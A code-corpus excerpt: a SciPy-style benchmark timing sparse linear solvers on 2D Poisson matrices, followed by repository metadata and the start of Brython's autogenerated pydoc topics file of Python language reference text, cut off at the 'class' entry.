""" Check the speed of the conjugate gradient solver. """ from __future__ import division, absolute_import, print_function import numpy as np from numpy.testing import assert_equal try: from scipy import linalg, sparse from scipy.sparse.linalg import cg, minres, spsolve except ImportError: pass try: from scipy.sparse.linalg import lgmres except ImportError: pass from .common import Benchmark def _create_sparse_poisson1d(n): # Make Gilbert Strang's favorite matrix # http://www-math.mit.edu/~gs/PIX/cupcakematrix.jpg P1d = sparse.diags([[-1]*(n-1), [2]*n, [-1]*(n-1)], [-1, 0, 1]) assert_equal(P1d.shape, (n, n)) return P1d def _create_sparse_poisson2d(n): P1d = _create_sparse_poisson1d(n) P2d = sparse.kronsum(P1d, P1d) assert_equal(P2d.shape, (n*n, n*n)) return P2d.tocsr() class Bench(Benchmark): params = [ [4, 6, 10, 16, 25, 40, 64, 100], ['dense', 'spsolve', 'cg', 'minres', 'lgmres'] ] param_names = ['(n,n)', 'solver'] def setup(self, n, solver): if solver == 'dense' and n >= 25: raise NotImplementedError() self.b = np.ones(n*n) self.P_sparse = _create_sparse_poisson2d(n) if solver == 'dense': self.P_dense = self.P_sparse.A def time_solve(self, n, solver): if solver == 'dense': linalg.solve(self.P_dense, self.b) elif solver == 'cg': cg(self.P_sparse, self.b) elif solver == 'minres': minres(self.P_sparse, self.b) elif solver == 'lgmres': lgmres(self.P_sparse, self.b) elif solver == 'spsolve': spsolve(self.P_sparse, self.b) else: raise ValueError('Unknown solver: %r' % solver) class Lgmres(Benchmark): params = [ [10, 50, 100, 1000, 10000], [10, 30, 60, 90, 180], ] param_names = ['n', 'm'] def setup(self, n, m): np.random.seed(1234) self.A = sparse.eye(n, n) + sparse.rand(n, n, density=0.01) self.b = np.ones(n) def time_inner(self, n, m): lgmres(self.A, self.b, inner_m=m, maxiter=1)
bsd-3-clause
40223101/2015final2
static/Brython3.1.3-20150514-095342/Lib/pydoc_data/topics.py
694
385454
# -*- coding: utf-8 -*- # Autogenerated by Sphinx on Sat Mar 23 15:42:31 2013 topics = {'assert': '\nThe ``assert`` statement\n************************\n\nAssert statements are a convenient way to insert debugging assertions\ninto a program:\n\n assert_stmt ::= "assert" expression ["," expression]\n\nThe simple form, ``assert expression``, is equivalent to\n\n if __debug__:\n if not expression: raise AssertionError\n\nThe extended form, ``assert expression1, expression2``, is equivalent\nto\n\n if __debug__:\n if not expression1: raise AssertionError(expression2)\n\nThese equivalences assume that ``__debug__`` and ``AssertionError``\nrefer to the built-in variables with those names. In the current\nimplementation, the built-in variable ``__debug__`` is ``True`` under\nnormal circumstances, ``False`` when optimization is requested\n(command line option -O). The current code generator emits no code\nfor an assert statement when optimization is requested at compile\ntime. Note that it is unnecessary to include the source code for the\nexpression that failed in the error message; it will be displayed as\npart of the stack trace.\n\nAssignments to ``__debug__`` are illegal. The value for the built-in\nvariable is determined when the interpreter starts.\n', 'assignment': '\nAssignment statements\n*********************\n\nAssignment statements are used to (re)bind names to values and to\nmodify attributes or items of mutable objects:\n\n assignment_stmt ::= (target_list "=")+ (expression_list | yield_expression)\n target_list ::= target ("," target)* [","]\n target ::= identifier\n | "(" target_list ")"\n | "[" target_list "]"\n | attributeref\n | subscription\n | slicing\n | "*" target\n\n(See section *Primaries* for the syntax definitions for the last three\nsymbols.)\n\nAn assignment statement evaluates the expression list (remember that\nthis can be a single expression or a comma-separated list, the latter\nyielding a tuple) and assigns the single resulting object to each of\nthe target lists, from left to right.\n\nAssignment is defined recursively depending on the form of the target\n(list). When a target is part of a mutable object (an attribute\nreference, subscription or slicing), the mutable object must\nultimately perform the assignment and decide about its validity, and\nmay raise an exception if the assignment is unacceptable. The rules\nobserved by various types and the exceptions raised are given with the\ndefinition of the object types (see section *The standard type\nhierarchy*).\n\nAssignment of an object to a target list, optionally enclosed in\nparentheses or square brackets, is recursively defined as follows.\n\n* If the target list is a single target: The object is assigned to\n that target.\n\n* If the target list is a comma-separated list of targets: The object\n must be an iterable with the same number of items as there are\n targets in the target list, and the items are assigned, from left to\n right, to the corresponding targets.\n\n * If the target list contains one target prefixed with an asterisk,\n called a "starred" target: The object must be a sequence with at\n least as many items as there are targets in the target list, minus\n one. The first items of the sequence are assigned, from left to\n right, to the targets before the starred target. The final items\n of the sequence are assigned to the targets after the starred\n target. A list of the remaining items in the sequence is then\n assigned to the starred target (the list can be empty).\n\n * Else: The object must be a sequence with the same number of items\n as there are targets in the target list, and the items are\n assigned, from left to right, to the corresponding targets.\n\nAssignment of an object to a single target is recursively defined as\nfollows.\n\n* If the target is an identifier (name):\n\n * If the name does not occur in a ``global`` or ``nonlocal``\n statement in the current code block: the name is bound to the\n object in the current local namespace.\n\n * Otherwise: the name is bound to the object in the global namespace\n or the outer namespace determined by ``nonlocal``, respectively.\n\n The name is rebound if it was already bound. This may cause the\n reference count for the object previously bound to the name to reach\n zero, causing the object to be deallocated and its destructor (if it\n has one) to be called.\n\n* If the target is a target list enclosed in parentheses or in square\n brackets: The object must be an iterable with the same number of\n items as there are targets in the target list, and its items are\n assigned, from left to right, to the corresponding targets.\n\n* If the target is an attribute reference: The primary expression in\n the reference is evaluated. It should yield an object with\n assignable attributes; if this is not the case, ``TypeError`` is\n raised. That object is then asked to assign the assigned object to\n the given attribute; if it cannot perform the assignment, it raises\n an exception (usually but not necessarily ``AttributeError``).\n\n Note: If the object is a class instance and the attribute reference\n occurs on both sides of the assignment operator, the RHS expression,\n ``a.x`` can access either an instance attribute or (if no instance\n attribute exists) a class attribute. The LHS target ``a.x`` is\n always set as an instance attribute, creating it if necessary.\n Thus, the two occurrences of ``a.x`` do not necessarily refer to the\n same attribute: if the RHS expression refers to a class attribute,\n the LHS creates a new instance attribute as the target of the\n assignment:\n\n class Cls:\n x = 3 # class variable\n inst = Cls()\n inst.x = inst.x + 1 # writes inst.x as 4 leaving Cls.x as 3\n\n This description does not necessarily apply to descriptor\n attributes, such as properties created with ``property()``.\n\n* If the target is a subscription: The primary expression in the\n reference is evaluated. It should yield either a mutable sequence\n object (such as a list) or a mapping object (such as a dictionary).\n Next, the subscript expression is evaluated.\n\n If the primary is a mutable sequence object (such as a list), the\n subscript must yield an integer. If it is negative, the sequence\'s\n length is added to it. The resulting value must be a nonnegative\n integer less than the sequence\'s length, and the sequence is asked\n to assign the assigned object to its item with that index. If the\n index is out of range, ``IndexError`` is raised (assignment to a\n subscripted sequence cannot add new items to a list).\n\n If the primary is a mapping object (such as a dictionary), the\n subscript must have a type compatible with the mapping\'s key type,\n and the mapping is then asked to create a key/datum pair which maps\n the subscript to the assigned object. This can either replace an\n existing key/value pair with the same key value, or insert a new\n key/value pair (if no key with the same value existed).\n\n For user-defined objects, the ``__setitem__()`` method is called\n with appropriate arguments.\n\n* If the target is a slicing: The primary expression in the reference\n is evaluated. It should yield a mutable sequence object (such as a\n list). The assigned object should be a sequence object of the same\n type. Next, the lower and upper bound expressions are evaluated,\n insofar they are present; defaults are zero and the sequence\'s\n length. The bounds should evaluate to integers. If either bound is\n negative, the sequence\'s length is added to it. The resulting\n bounds are clipped to lie between zero and the sequence\'s length,\n inclusive. Finally, the sequence object is asked to replace the\n slice with the items of the assigned sequence. The length of the\n slice may be different from the length of the assigned sequence,\n thus changing the length of the target sequence, if the object\n allows it.\n\n**CPython implementation detail:** In the current implementation, the\nsyntax for targets is taken to be the same as for expressions, and\ninvalid syntax is rejected during the code generation phase, causing\nless detailed error messages.\n\nWARNING: Although the definition of assignment implies that overlaps\nbetween the left-hand side and the right-hand side are \'safe\' (for\nexample ``a, b = b, a`` swaps two variables), overlaps *within* the\ncollection of assigned-to variables are not safe! For instance, the\nfollowing program prints ``[0, 2]``:\n\n x = [0, 1]\n i = 0\n i, x[i] = 1, 2\n print(x)\n\nSee also:\n\n **PEP 3132** - Extended Iterable Unpacking\n The specification for the ``*target`` feature.\n\n\nAugmented assignment statements\n===============================\n\nAugmented assignment is the combination, in a single statement, of a\nbinary operation and an assignment statement:\n\n augmented_assignment_stmt ::= augtarget augop (expression_list | yield_expression)\n augtarget ::= identifier | attributeref | subscription | slicing\n augop ::= "+=" | "-=" | "*=" | "/=" | "//=" | "%=" | "**="\n | ">>=" | "<<=" | "&=" | "^=" | "|="\n\n(See section *Primaries* for the syntax definitions for the last three\nsymbols.)\n\nAn augmented assignment evaluates the target (which, unlike normal\nassignment statements, cannot be an unpacking) and the expression\nlist, performs the binary operation specific to the type of assignment\non the two operands, and assigns the result to the original target.\nThe target is only evaluated once.\n\nAn augmented assignment expression like ``x += 1`` can be rewritten as\n``x = x + 1`` to achieve a similar, but not exactly equal effect. In\nthe augmented version, ``x`` is only evaluated once. Also, when\npossible, the actual operation is performed *in-place*, meaning that\nrather than creating a new object and assigning that to the target,\nthe old object is modified instead.\n\nWith the exception of assigning to tuples and multiple targets in a\nsingle statement, the assignment done by augmented assignment\nstatements is handled the same way as normal assignments. Similarly,\nwith the exception of the possible *in-place* behavior, the binary\noperation performed by augmented assignment is the same as the normal\nbinary operations.\n\nFor targets which are attribute references, the same *caveat about\nclass and instance attributes* applies as for regular assignments.\n', 'atom-identifiers': '\nIdentifiers (Names)\n*******************\n\nAn identifier occurring as an atom is a name. See section\n*Identifiers and keywords* for lexical definition and section *Naming\nand binding* for documentation of naming and binding.\n\nWhen the name is bound to an object, evaluation of the atom yields\nthat object. When a name is not bound, an attempt to evaluate it\nraises a ``NameError`` exception.\n\n**Private name mangling:** When an identifier that textually occurs in\na class definition begins with two or more underscore characters and\ndoes not end in two or more underscores, it is considered a *private\nname* of that class. Private names are transformed to a longer form\nbefore code is generated for them. The transformation inserts the\nclass name in front of the name, with leading underscores removed, and\na single underscore inserted in front of the class name. For example,\nthe identifier ``__spam`` occurring in a class named ``Ham`` will be\ntransformed to ``_Ham__spam``. This transformation is independent of\nthe syntactical context in which the identifier is used. If the\ntransformed name is extremely long (longer than 255 characters),\nimplementation defined truncation may happen. If the class name\nconsists only of underscores, no transformation is done.\n', 'atom-literals': "\nLiterals\n********\n\nPython supports string and bytes literals and various numeric\nliterals:\n\n literal ::= stringliteral | bytesliteral\n | integer | floatnumber | imagnumber\n\nEvaluation of a literal yields an object of the given type (string,\nbytes, integer, floating point number, complex number) with the given\nvalue. The value may be approximated in the case of floating point\nand imaginary (complex) literals. See section *Literals* for details.\n\nAll literals correspond to immutable data types, and hence the\nobject's identity is less important than its value. Multiple\nevaluations of literals with the same value (either the same\noccurrence in the program text or a different occurrence) may obtain\nthe same object or a different object with the same value.\n", 'attribute-access': '\nCustomizing attribute access\n****************************\n\nThe following methods can be defined to customize the meaning of\nattribute access (use of, assignment to, or deletion of ``x.name``)\nfor class instances.\n\nobject.__getattr__(self, name)\n\n Called when an attribute lookup has not found the attribute in the\n usual places (i.e. it is not an instance attribute nor is it found\n in the class tree for ``self``). ``name`` is the attribute name.\n This method should return the (computed) attribute value or raise\n an ``AttributeError`` exception.\n\n Note that if the attribute is found through the normal mechanism,\n ``__getattr__()`` is not called. (This is an intentional asymmetry\n between ``__getattr__()`` and ``__setattr__()``.) This is done both\n for efficiency reasons and because otherwise ``__getattr__()``\n would have no way to access other attributes of the instance. Note\n that at least for instance variables, you can fake total control by\n not inserting any values in the instance attribute dictionary (but\n instead inserting them in another object). See the\n ``__getattribute__()`` method below for a way to actually get total\n control over attribute access.\n\nobject.__getattribute__(self, name)\n\n Called unconditionally to implement attribute accesses for\n instances of the class. If the class also defines\n ``__getattr__()``, the latter will not be called unless\n ``__getattribute__()`` either calls it explicitly or raises an\n ``AttributeError``. This method should return the (computed)\n attribute value or raise an ``AttributeError`` exception. In order\n to avoid infinite recursion in this method, its implementation\n should always call the base class method with the same name to\n access any attributes it needs, for example,\n ``object.__getattribute__(self, name)``.\n\n Note: This method may still be bypassed when looking up special methods\n as the result of implicit invocation via language syntax or\n built-in functions. See *Special method lookup*.\n\nobject.__setattr__(self, name, value)\n\n Called when an attribute assignment is attempted. This is called\n instead of the normal mechanism (i.e. store the value in the\n instance dictionary). *name* is the attribute name, *value* is the\n value to be assigned to it.\n\n If ``__setattr__()`` wants to assign to an instance attribute, it\n should call the base class method with the same name, for example,\n ``object.__setattr__(self, name, value)``.\n\nobject.__delattr__(self, name)\n\n Like ``__setattr__()`` but for attribute deletion instead of\n assignment. This should only be implemented if ``del obj.name`` is\n meaningful for the object.\n\nobject.__dir__(self)\n\n Called when ``dir()`` is called on the object. A sequence must be\n returned. ``dir()`` converts the returned sequence to a list and\n sorts it.\n\n\nImplementing Descriptors\n========================\n\nThe following methods only apply when an instance of the class\ncontaining the method (a so-called *descriptor* class) appears in an\n*owner* class (the descriptor must be in either the owner\'s class\ndictionary or in the class dictionary for one of its parents). In the\nexamples below, "the attribute" refers to the attribute whose name is\nthe key of the property in the owner class\' ``__dict__``.\n\nobject.__get__(self, instance, owner)\n\n Called to get the attribute of the owner class (class attribute\n access) or of an instance of that class (instance attribute\n access). *owner* is always the owner class, while *instance* is the\n instance that the attribute was accessed through, or ``None`` when\n the attribute is accessed through the *owner*. This method should\n return the (computed) attribute value or raise an\n ``AttributeError`` exception.\n\nobject.__set__(self, instance, value)\n\n Called to set the attribute on an instance *instance* of the owner\n class to a new value, *value*.\n\nobject.__delete__(self, instance)\n\n Called to delete the attribute on an instance *instance* of the\n owner class.\n\n\nInvoking Descriptors\n====================\n\nIn general, a descriptor is an object attribute with "binding\nbehavior", one whose attribute access has been overridden by methods\nin the descriptor protocol: ``__get__()``, ``__set__()``, and\n``__delete__()``. If any of those methods are defined for an object,\nit is said to be a descriptor.\n\nThe default behavior for attribute access is to get, set, or delete\nthe attribute from an object\'s dictionary. For instance, ``a.x`` has a\nlookup chain starting with ``a.__dict__[\'x\']``, then\n``type(a).__dict__[\'x\']``, and continuing through the base classes of\n``type(a)`` excluding metaclasses.\n\nHowever, if the looked-up value is an object defining one of the\ndescriptor methods, then Python may override the default behavior and\ninvoke the descriptor method instead. Where this occurs in the\nprecedence chain depends on which descriptor methods were defined and\nhow they were called.\n\nThe starting point for descriptor invocation is a binding, ``a.x``.\nHow the arguments are assembled depends on ``a``:\n\nDirect Call\n The simplest and least common call is when user code directly\n invokes a descriptor method: ``x.__get__(a)``.\n\nInstance Binding\n If binding to an object instance, ``a.x`` is transformed into the\n call: ``type(a).__dict__[\'x\'].__get__(a, type(a))``.\n\nClass Binding\n If binding to a class, ``A.x`` is transformed into the call:\n ``A.__dict__[\'x\'].__get__(None, A)``.\n\nSuper Binding\n If ``a`` is an instance of ``super``, then the binding ``super(B,\n obj).m()`` searches ``obj.__class__.__mro__`` for the base class\n ``A`` immediately preceding ``B`` and then invokes the descriptor\n with the call: ``A.__dict__[\'m\'].__get__(obj, obj.__class__)``.\n\nFor instance bindings, the precedence of descriptor invocation depends\non the which descriptor methods are defined. A descriptor can define\nany combination of ``__get__()``, ``__set__()`` and ``__delete__()``.\nIf it does not define ``__get__()``, then accessing the attribute will\nreturn the descriptor object itself unless there is a value in the\nobject\'s instance dictionary. If the descriptor defines ``__set__()``\nand/or ``__delete__()``, it is a data descriptor; if it defines\nneither, it is a non-data descriptor. Normally, data descriptors\ndefine both ``__get__()`` and ``__set__()``, while non-data\ndescriptors have just the ``__get__()`` method. Data descriptors with\n``__set__()`` and ``__get__()`` defined always override a redefinition\nin an instance dictionary. In contrast, non-data descriptors can be\noverridden by instances.\n\nPython methods (including ``staticmethod()`` and ``classmethod()``)\nare implemented as non-data descriptors. Accordingly, instances can\nredefine and override methods. This allows individual instances to\nacquire behaviors that differ from other instances of the same class.\n\nThe ``property()`` function is implemented as a data descriptor.\nAccordingly, instances cannot override the behavior of a property.\n\n\n__slots__\n=========\n\nBy default, instances of classes have a dictionary for attribute\nstorage. This wastes space for objects having very few instance\nvariables. The space consumption can become acute when creating large\nnumbers of instances.\n\nThe default can be overridden by defining *__slots__* in a class\ndefinition. The *__slots__* declaration takes a sequence of instance\nvariables and reserves just enough space in each instance to hold a\nvalue for each variable. Space is saved because *__dict__* is not\ncreated for each instance.\n\nobject.__slots__\n\n This class variable can be assigned a string, iterable, or sequence\n of strings with variable names used by instances. If defined in a\n class, *__slots__* reserves space for the declared variables and\n prevents the automatic creation of *__dict__* and *__weakref__* for\n each instance.\n\n\nNotes on using *__slots__*\n--------------------------\n\n* When inheriting from a class without *__slots__*, the *__dict__*\n attribute of that class will always be accessible, so a *__slots__*\n definition in the subclass is meaningless.\n\n* Without a *__dict__* variable, instances cannot be assigned new\n variables not listed in the *__slots__* definition. Attempts to\n assign to an unlisted variable name raises ``AttributeError``. If\n dynamic assignment of new variables is desired, then add\n ``\'__dict__\'`` to the sequence of strings in the *__slots__*\n declaration.\n\n* Without a *__weakref__* variable for each instance, classes defining\n *__slots__* do not support weak references to its instances. If weak\n reference support is needed, then add ``\'__weakref__\'`` to the\n sequence of strings in the *__slots__* declaration.\n\n* *__slots__* are implemented at the class level by creating\n descriptors (*Implementing Descriptors*) for each variable name. As\n a result, class attributes cannot be used to set default values for\n instance variables defined by *__slots__*; otherwise, the class\n attribute would overwrite the descriptor assignment.\n\n* The action of a *__slots__* declaration is limited to the class\n where it is defined. As a result, subclasses will have a *__dict__*\n unless they also define *__slots__* (which must only contain names\n of any *additional* slots).\n\n* If a class defines a slot also defined in a base class, the instance\n variable defined by the base class slot is inaccessible (except by\n retrieving its descriptor directly from the base class). This\n renders the meaning of the program undefined. In the future, a\n check may be added to prevent this.\n\n* Nonempty *__slots__* does not work for classes derived from\n "variable-length" built-in types such as ``int``, ``str`` and\n ``tuple``.\n\n* Any non-string iterable may be assigned to *__slots__*. Mappings may\n also be used; however, in the future, special meaning may be\n assigned to the values corresponding to each key.\n\n* *__class__* assignment works only if both classes have the same\n *__slots__*.\n', 'attribute-references': '\nAttribute references\n********************\n\nAn attribute reference is a primary followed by a period and a name:\n\n attributeref ::= primary "." identifier\n\nThe primary must evaluate to an object of a type that supports\nattribute references, which most objects do. This object is then\nasked to produce the attribute whose name is the identifier (which can\nbe customized by overriding the ``__getattr__()`` method). If this\nattribute is not available, the exception ``AttributeError`` is\nraised. Otherwise, the type and value of the object produced is\ndetermined by the object. Multiple evaluations of the same attribute\nreference may yield different objects.\n', 'augassign': '\nAugmented assignment statements\n*******************************\n\nAugmented assignment is the combination, in a single statement, of a\nbinary operation and an assignment statement:\n\n augmented_assignment_stmt ::= augtarget augop (expression_list | yield_expression)\n augtarget ::= identifier | attributeref | subscription | slicing\n augop ::= "+=" | "-=" | "*=" | "/=" | "//=" | "%=" | "**="\n | ">>=" | "<<=" | "&=" | "^=" | "|="\n\n(See section *Primaries* for the syntax definitions for the last three\nsymbols.)\n\nAn augmented assignment evaluates the target (which, unlike normal\nassignment statements, cannot be an unpacking) and the expression\nlist, performs the binary operation specific to the type of assignment\non the two operands, and assigns the result to the original target.\nThe target is only evaluated once.\n\nAn augmented assignment expression like ``x += 1`` can be rewritten as\n``x = x + 1`` to achieve a similar, but not exactly equal effect. In\nthe augmented version, ``x`` is only evaluated once. Also, when\npossible, the actual operation is performed *in-place*, meaning that\nrather than creating a new object and assigning that to the target,\nthe old object is modified instead.\n\nWith the exception of assigning to tuples and multiple targets in a\nsingle statement, the assignment done by augmented assignment\nstatements is handled the same way as normal assignments. Similarly,\nwith the exception of the possible *in-place* behavior, the binary\noperation performed by augmented assignment is the same as the normal\nbinary operations.\n\nFor targets which are attribute references, the same *caveat about\nclass and instance attributes* applies as for regular assignments.\n', 'binary': '\nBinary arithmetic operations\n****************************\n\nThe binary arithmetic operations have the conventional priority\nlevels. Note that some of these operations also apply to certain non-\nnumeric types. Apart from the power operator, there are only two\nlevels, one for multiplicative operators and one for additive\noperators:\n\n m_expr ::= u_expr | m_expr "*" u_expr | m_expr "//" u_expr | m_expr "/" u_expr\n | m_expr "%" u_expr\n a_expr ::= m_expr | a_expr "+" m_expr | a_expr "-" m_expr\n\nThe ``*`` (multiplication) operator yields the product of its\narguments. The arguments must either both be numbers, or one argument\nmust be an integer and the other must be a sequence. In the former\ncase, the numbers are converted to a common type and then multiplied\ntogether. In the latter case, sequence repetition is performed; a\nnegative repetition factor yields an empty sequence.\n\nThe ``/`` (division) and ``//`` (floor division) operators yield the\nquotient of their arguments. The numeric arguments are first\nconverted to a common type. Integer division yields a float, while\nfloor division of integers results in an integer; the result is that\nof mathematical division with the \'floor\' function applied to the\nresult. Division by zero raises the ``ZeroDivisionError`` exception.\n\nThe ``%`` (modulo) operator yields the remainder from the division of\nthe first argument by the second. The numeric arguments are first\nconverted to a common type. A zero right argument raises the\n``ZeroDivisionError`` exception. The arguments may be floating point\nnumbers, e.g., ``3.14%0.7`` equals ``0.34`` (since ``3.14`` equals\n``4*0.7 + 0.34``.) The modulo operator always yields a result with\nthe same sign as its second operand (or zero); the absolute value of\nthe result is strictly smaller than the absolute value of the second\noperand [1].\n\nThe floor division and modulo operators are connected by the following\nidentity: ``x == (x//y)*y + (x%y)``. Floor division and modulo are\nalso connected with the built-in function ``divmod()``: ``divmod(x, y)\n== (x//y, x%y)``. [2].\n\nIn addition to performing the modulo operation on numbers, the ``%``\noperator is also overloaded by string objects to perform old-style\nstring formatting (also known as interpolation). The syntax for\nstring formatting is described in the Python Library Reference,\nsection *printf-style String Formatting*.\n\nThe floor division operator, the modulo operator, and the ``divmod()``\nfunction are not defined for complex numbers. Instead, convert to a\nfloating point number using the ``abs()`` function if appropriate.\n\nThe ``+`` (addition) operator yields the sum of its arguments. The\narguments must either both be numbers or both sequences of the same\ntype. In the former case, the numbers are converted to a common type\nand then added together. In the latter case, the sequences are\nconcatenated.\n\nThe ``-`` (subtraction) operator yields the difference of its\narguments. The numeric arguments are first converted to a common\ntype.\n', 'bitwise': '\nBinary bitwise operations\n*************************\n\nEach of the three bitwise operations has a different priority level:\n\n and_expr ::= shift_expr | and_expr "&" shift_expr\n xor_expr ::= and_expr | xor_expr "^" and_expr\n or_expr ::= xor_expr | or_expr "|" xor_expr\n\nThe ``&`` operator yields the bitwise AND of its arguments, which must\nbe integers.\n\nThe ``^`` operator yields the bitwise XOR (exclusive OR) of its\narguments, which must be integers.\n\nThe ``|`` operator yields the bitwise (inclusive) OR of its arguments,\nwhich must be integers.\n', 'bltin-code-objects': '\nCode Objects\n************\n\nCode objects are used by the implementation to represent "pseudo-\ncompiled" executable Python code such as a function body. They differ\nfrom function objects because they don\'t contain a reference to their\nglobal execution environment. Code objects are returned by the built-\nin ``compile()`` function and can be extracted from function objects\nthrough their ``__code__`` attribute. See also the ``code`` module.\n\nA code object can be executed or evaluated by passing it (instead of a\nsource string) to the ``exec()`` or ``eval()`` built-in functions.\n\nSee *The standard type hierarchy* for more information.\n', 'bltin-ellipsis-object': '\nThe Ellipsis Object\n*******************\n\nThis object is commonly used by slicing (see *Slicings*). It supports\nno special operations. There is exactly one ellipsis object, named\n``Ellipsis`` (a built-in name). ``type(Ellipsis)()`` produces the\n``Ellipsis`` singleton.\n\nIt is written as ``Ellipsis`` or ``...``.\n', 'bltin-null-object': "\nThe Null Object\n***************\n\nThis object is returned by functions that don't explicitly return a\nvalue. It supports no special operations. There is exactly one null\nobject, named ``None`` (a built-in name). ``type(None)()`` produces\nthe same singleton.\n\nIt is written as ``None``.\n", 'bltin-type-objects': "\nType Objects\n************\n\nType objects represent the various object types. An object's type is\naccessed by the built-in function ``type()``. There are no special\noperations on types. The standard module ``types`` defines names for\nall standard built-in types.\n\nTypes are written like this: ``<class 'int'>``.\n", 'booleans': '\nBoolean operations\n******************\n\n or_test ::= and_test | or_test "or" and_test\n and_test ::= not_test | and_test "and" not_test\n not_test ::= comparison | "not" not_test\n\nIn the context of Boolean operations, and also when expressions are\nused by control flow statements, the following values are interpreted\nas false: ``False``, ``None``, numeric zero of all types, and empty\nstrings and containers (including strings, tuples, lists,\ndictionaries, sets and frozensets). All other values are interpreted\nas true. User-defined objects can customize their truth value by\nproviding a ``__bool__()`` method.\n\nThe operator ``not`` yields ``True`` if its argument is false,\n``False`` otherwise.\n\nThe expression ``x and y`` first evaluates *x*; if *x* is false, its\nvalue is returned; otherwise, *y* is evaluated and the resulting value\nis returned.\n\nThe expression ``x or y`` first evaluates *x*; if *x* is true, its\nvalue is returned; otherwise, *y* is evaluated and the resulting value\nis returned.\n\n(Note that neither ``and`` nor ``or`` restrict the value and type they\nreturn to ``False`` and ``True``, but rather return the last evaluated\nargument. This is sometimes useful, e.g., if ``s`` is a string that\nshould be replaced by a default value if it is empty, the expression\n``s or \'foo\'`` yields the desired value. Because ``not`` has to\ninvent a value anyway, it does not bother to return a value of the\nsame type as its argument, so e.g., ``not \'foo\'`` yields ``False``,\nnot ``\'\'``.)\n', 'break': '\nThe ``break`` statement\n***********************\n\n break_stmt ::= "break"\n\n``break`` may only occur syntactically nested in a ``for`` or\n``while`` loop, but not nested in a function or class definition\nwithin that loop.\n\nIt terminates the nearest enclosing loop, skipping the optional\n``else`` clause if the loop has one.\n\nIf a ``for`` loop is terminated by ``break``, the loop control target\nkeeps its current value.\n\nWhen ``break`` passes control out of a ``try`` statement with a\n``finally`` clause, that ``finally`` clause is executed before really\nleaving the loop.\n', 'callable-types': '\nEmulating callable objects\n**************************\n\nobject.__call__(self[, args...])\n\n Called when the instance is "called" as a function; if this method\n is defined, ``x(arg1, arg2, ...)`` is a shorthand for\n ``x.__call__(arg1, arg2, ...)``.\n', 'calls': '\nCalls\n*****\n\nA call calls a callable object (e.g., a *function*) with a possibly\nempty series of *arguments*:\n\n call ::= primary "(" [argument_list [","] | comprehension] ")"\n argument_list ::= positional_arguments ["," keyword_arguments]\n ["," "*" expression] ["," keyword_arguments]\n ["," "**" expression]\n | keyword_arguments ["," "*" expression]\n ["," keyword_arguments] ["," "**" expression]\n | "*" expression ["," keyword_arguments] ["," "**" expression]\n | "**" expression\n positional_arguments ::= expression ("," expression)*\n keyword_arguments ::= keyword_item ("," keyword_item)*\n keyword_item ::= identifier "=" expression\n\nA trailing comma may be present after the positional and keyword\narguments but does not affect the semantics.\n\nThe primary must evaluate to a callable object (user-defined\nfunctions, built-in functions, methods of built-in objects, class\nobjects, methods of class instances, and all objects having a\n``__call__()`` method are callable). All argument expressions are\nevaluated before the call is attempted. Please refer to section\n*Function definitions* for the syntax of formal *parameter* lists.\n\nIf keyword arguments are present, they are first converted to\npositional arguments, as follows. First, a list of unfilled slots is\ncreated for the formal parameters. If there are N positional\narguments, they are placed in the first N slots. Next, for each\nkeyword argument, the identifier is used to determine the\ncorresponding slot (if the identifier is the same as the first formal\nparameter name, the first slot is used, and so on). If the slot is\nalready filled, a ``TypeError`` exception is raised. Otherwise, the\nvalue of the argument is placed in the slot, filling it (even if the\nexpression is ``None``, it fills the slot). When all arguments have\nbeen processed, the slots that are still unfilled are filled with the\ncorresponding default value from the function definition. (Default\nvalues are calculated, once, when the function is defined; thus, a\nmutable object such as a list or dictionary used as default value will\nbe shared by all calls that don\'t specify an argument value for the\ncorresponding slot; this should usually be avoided.) If there are any\nunfilled slots for which no default value is specified, a\n``TypeError`` exception is raised. Otherwise, the list of filled\nslots is used as the argument list for the call.\n\n**CPython implementation detail:** An implementation may provide\nbuilt-in functions whose positional parameters do not have names, even\nif they are \'named\' for the purpose of documentation, and which\ntherefore cannot be supplied by keyword. In CPython, this is the case\nfor functions implemented in C that use ``PyArg_ParseTuple()`` to\nparse their arguments.\n\nIf there are more positional arguments than there are formal parameter\nslots, a ``TypeError`` exception is raised, unless a formal parameter\nusing the syntax ``*identifier`` is present; in this case, that formal\nparameter receives a tuple containing the excess positional arguments\n(or an empty tuple if there were no excess positional arguments).\n\nIf any keyword argument does not correspond to a formal parameter\nname, a ``TypeError`` exception is raised, unless a formal parameter\nusing the syntax ``**identifier`` is present; in this case, that\nformal parameter receives a dictionary containing the excess keyword\narguments (using the keywords as keys and the argument values as\ncorresponding values), or a (new) empty dictionary if there were no\nexcess keyword arguments.\n\nIf the syntax ``*expression`` appears in the function call,\n``expression`` must evaluate to an iterable. Elements from this\niterable are treated as if they were additional positional arguments;\nif there are positional arguments *x1*, ..., *xN*, and ``expression``\nevaluates to a sequence *y1*, ..., *yM*, this is equivalent to a call\nwith M+N positional arguments *x1*, ..., *xN*, *y1*, ..., *yM*.\n\nA consequence of this is that although the ``*expression`` syntax may\nappear *after* some keyword arguments, it is processed *before* the\nkeyword arguments (and the ``**expression`` argument, if any -- see\nbelow). So:\n\n >>> def f(a, b):\n ... print(a, b)\n ...\n >>> f(b=1, *(2,))\n 2 1\n >>> f(a=1, *(2,))\n Traceback (most recent call last):\n File "<stdin>", line 1, in ?\n TypeError: f() got multiple values for keyword argument \'a\'\n >>> f(1, *(2,))\n 1 2\n\nIt is unusual for both keyword arguments and the ``*expression``\nsyntax to be used in the same call, so in practice this confusion does\nnot arise.\n\nIf the syntax ``**expression`` appears in the function call,\n``expression`` must evaluate to a mapping, the contents of which are\ntreated as additional keyword arguments. In the case of a keyword\nappearing in both ``expression`` and as an explicit keyword argument,\na ``TypeError`` exception is raised.\n\nFormal parameters using the syntax ``*identifier`` or ``**identifier``\ncannot be used as positional argument slots or as keyword argument\nnames.\n\nA call always returns some value, possibly ``None``, unless it raises\nan exception. How this value is computed depends on the type of the\ncallable object.\n\nIf it is---\n\na user-defined function:\n The code block for the function is executed, passing it the\n argument list. The first thing the code block will do is bind the\n formal parameters to the arguments; this is described in section\n *Function definitions*. When the code block executes a ``return``\n statement, this specifies the return value of the function call.\n\na built-in function or method:\n The result is up to the interpreter; see *Built-in Functions* for\n the descriptions of built-in functions and methods.\n\na class object:\n A new instance of that class is returned.\n\na class instance method:\n The corresponding user-defined function is called, with an argument\n list that is one longer than the argument list of the call: the\n instance becomes the first argument.\n\na class instance:\n The class must define a ``__call__()`` method; the effect is then\n the same as if that method was called.\n', 'class': '\nClass definitions\n*****************\n\nA class definition defines a class object (see section *The standard\ntype hierarchy*):\n\n classdef ::= [decorators] "class" 